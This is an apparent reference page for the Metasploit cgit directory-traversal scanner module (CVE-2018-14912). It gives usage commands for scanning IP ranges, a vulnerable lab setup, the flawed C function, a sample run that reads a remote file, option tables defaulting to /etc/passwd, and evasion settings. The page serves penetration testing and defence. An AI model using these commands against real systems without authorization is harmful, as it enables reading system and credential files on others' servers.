cgit Directory Traversal - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/cgit_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: cgit Directory Traversal
Module: auxiliary/scanner/http/cgit_traversal
Source code: modules/auxiliary/scanner/http/cgit_traversal.rb
Disclosure date: 2018-08-03
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-14912
This module exploits a directory traversal vulnerability which exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the configuration flag enable-http-clone is set to 1 (default).
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/cgit_traversal
msf auxiliary(cgit_traversal) > show options
... show and set options ...
msf auxiliary(cgit_traversal) > set RHOSTS ip-range
msf auxiliary(cgit_traversal) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(cgit_traversal) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(cgit_traversal) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(cgit_traversal) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
cgit before v1.2.1 has a directory traversal vulnerabiltiy when cgitrc
has the enable-http-clone
value set to 1. The directory traversal can be used to download files from the remote host. This module has been tested against cgit v1.1 running on Ubuntu 18.04.
Vulnerable Application
Installing cgit on Ubuntu 18.04 x64
sudo apt install cgit
# dependencies may have to be downloaded first- Modify
/etc/cgitrc
to haveenable-http-clone=1
. Example attached. - Add
.htaccess
file with rewrite rules to/usr/lib/cgit/
. Example attached. - Add
cgit.conf
to/etc/apache2/conf-enabled/
. Example attached. - Enable
rewrite.load
andcgi.load
in apache2. - Create bare repo.
mkdir -p repo/test.git && cd repo/test.git && git init --bare
Example files were only used for testing and are not secure or usable in non-testing environments. These WILL make your system insecure, but will enable exploitation by this module.
Vulnerability Details from Project Zero
There is a directory traversal vulnerability in cgit_clone_objects(), reachable when the configuration flag enable-http-clone is set to 1 (default):
void cgit_clone_objects(void)
{
if (!ctx.qry.path) {
cgit_print_error_page(400, "Bad request", "Bad request");
return;
}
if (!strcmp(ctx.qry.path, "info/packs")) {
print_pack_info();
return;
}
send_file(git_path("objects/%s", ctx.qry.path));
}
send_file() is a function that simply sends the data stored at the given filesystem path out over the network. git_path() partially rewrites the provided path and e.g. prepends the base path of the repository, but it does not sanitize the provided path to prevent directory traversal.
ctx.qry.path can come from querystring_cb(), which takes unescaped data from the querystring.
Options
REPO
Git repository on the remote server. Default is empty, ''
.
Verification Steps
./msfconsole -q
set rhosts <rhost>
set targeturi <uri>
set repo <repo>
run
Scenarios
Ubuntu 18.04 x64, cgit | 1.1+git2.10.2-3build1
msf5 > use auxiliary/scanner/http/cgit_traversal
msf5 auxiliary(scanner/http/cgit_traversal) > set rhosts 172.22.222.123
rhosts => 172.22.222.123
msf5 auxiliary(scanner/http/cgit_traversal) > set targeturi /mygit/
targeturi => /mygit/
msf5 auxiliary(scanner/http/cgit_traversal) > set repo test
repo => test
msf5 auxiliary(scanner/http/cgit_traversal) > set filepath /home/msfdev/proof.txt
filepath => /home/msfdev/proof.txt
msf5 auxiliary(scanner/http/cgit_traversal) > set verbose true
verbose => true
msf5 auxiliary(scanner/http/cgit_traversal) > run
[+] 172.22.222.123:80 -
you found me!
[+] File saved in: /home/msfdev/.msf4/loot/20180813150517_default_172.22.222.123_cgit.traversal_235024.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
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Msfconsole Usage
Here is how the scanner/http/cgit_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/cgit_traversal
msf6 auxiliary(scanner/http/cgit_traversal) > show info
Name: cgit Directory Traversal
Module: auxiliary/scanner/http/cgit_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2018-08-03
Provided by:
Google Project Zero
Dhiraj Mishra
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 10 yes Depth for Path Traversal
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REPO yes Git repository on the remote server
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /cgit/ yes The base URI path of the cgit install
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits a directory traversal vulnerability which
exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the
configuration flag enable-http-clone is set to 1 (default).
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-14912
https://bugs.chromium.org/p/project-zero/issues/detail?id=1627
https://www.exploit-db.com/exploits/45148
Module Options
This is a complete list of options available in the scanner/http/cgit_traversal auxiliary module:
msf6 auxiliary(scanner/http/cgit_traversal) > show options
Module options (auxiliary/scanner/http/cgit_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 10 yes Depth for Path Traversal
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REPO yes Git repository on the remote server
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /cgit/ yes The base URI path of the cgit install
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/cgit_traversal auxiliary module:
msf6 auxiliary(scanner/http/cgit_traversal) > show advanced
Module advanced options (auxiliary/scanner/http/cgit_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/cgit_traversal module can do:
msf6 auxiliary(scanner/http/cgit_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/cgit_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/cgit_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Nothing was downloaded
Here is a relevant code snippet related to the "Nothing was downloaded" error message:
49: 'uri' => normalize_uri(target_uri.path, datastore['REPO'], '/objects/'),
50: 'vars_get' => {'path' => traversal}
51: })
52:
53: unless res && res.code == 200
54: print_error('Nothing was downloaded')
55: return
56: end
57:
58: vprint_good("#{peer} - \n#{res.body}")
59: path = store_loot(
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10420 Merged Pull Request: cgit < 1.2.1 Directory Traversal
References
Authors
- Google Project Zero
- Dhiraj Mishra
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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